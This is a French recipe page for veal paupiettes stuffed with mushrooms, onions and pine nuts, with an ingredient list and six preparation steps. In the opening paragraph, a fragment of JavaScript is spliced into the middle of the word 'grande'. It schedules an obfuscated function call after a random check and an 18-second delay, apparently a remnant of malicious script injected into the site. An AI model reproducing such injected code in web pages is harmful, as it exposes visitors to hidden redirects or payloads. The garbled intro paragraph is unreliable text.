Paupiettes de veau farcies avec des champignons
2017-12-21- Cuisine : Paupiettes, Viandes
- Niveau : Difficile
Pelez, émincez les oignons. Essuyez et coupez en fines lamelles les champignons. Dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande poêle avec 2 cuillères à soupe d’huile d’arachide, sur feu vif, faites revenir les champignons jusqu’à l’absorption de leur eau.
Ingrédients
- Pour 6 personnes
- 6 escalopes de veau fines
- 600 g de champignons de paris
- 3 oignons
- 2 cuillères à soupe de pignon de pin
- 2 cuillères à soupe d'huile d'arachide
- 10 cl de vin blanc sec
- 3 brins de romarin
- Sel / Poivre
Préparation de la recette
Etape 1
Pelez, émincez les oignons. Essuyez et coupez en fines lamelles les champignons. Dans une grande poêle avec 2 cuillères à soupe d'huile d'arachide, sur feu vif, faites revenir les champignons jusqu'à l'absorption de leur eau.
Etape 2
Tout en remuant incorporez les oignons émincés avec les pignons de pin, faites cuire pendant 15 minutes. Salez, poivrez. Réservez hors du feu.
Etape 3
Étalez chaque escalope sur le plan du travail, déposez une cuillère à soupe de préparation oignons / champignons / pignons de pin /. Roulez les escalopes de manière à former des paupiettes.
Etape 4
Les ficelez solidement. Dans une cocotte avec 2 cuillères à soupe d'huile d'arachide, sur feu vif, faites revenir les paupiettes sur toutes les faces.
Etape 5
Salez, poivrez. Les déposer dans un plat à gratin. Préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire pendant 25 minutes en arrosant régulièrement les paupiettes.
Etape 6
Vérifiez la cuisson. Dégustez à la sortie du four avec des pommes vapeur.
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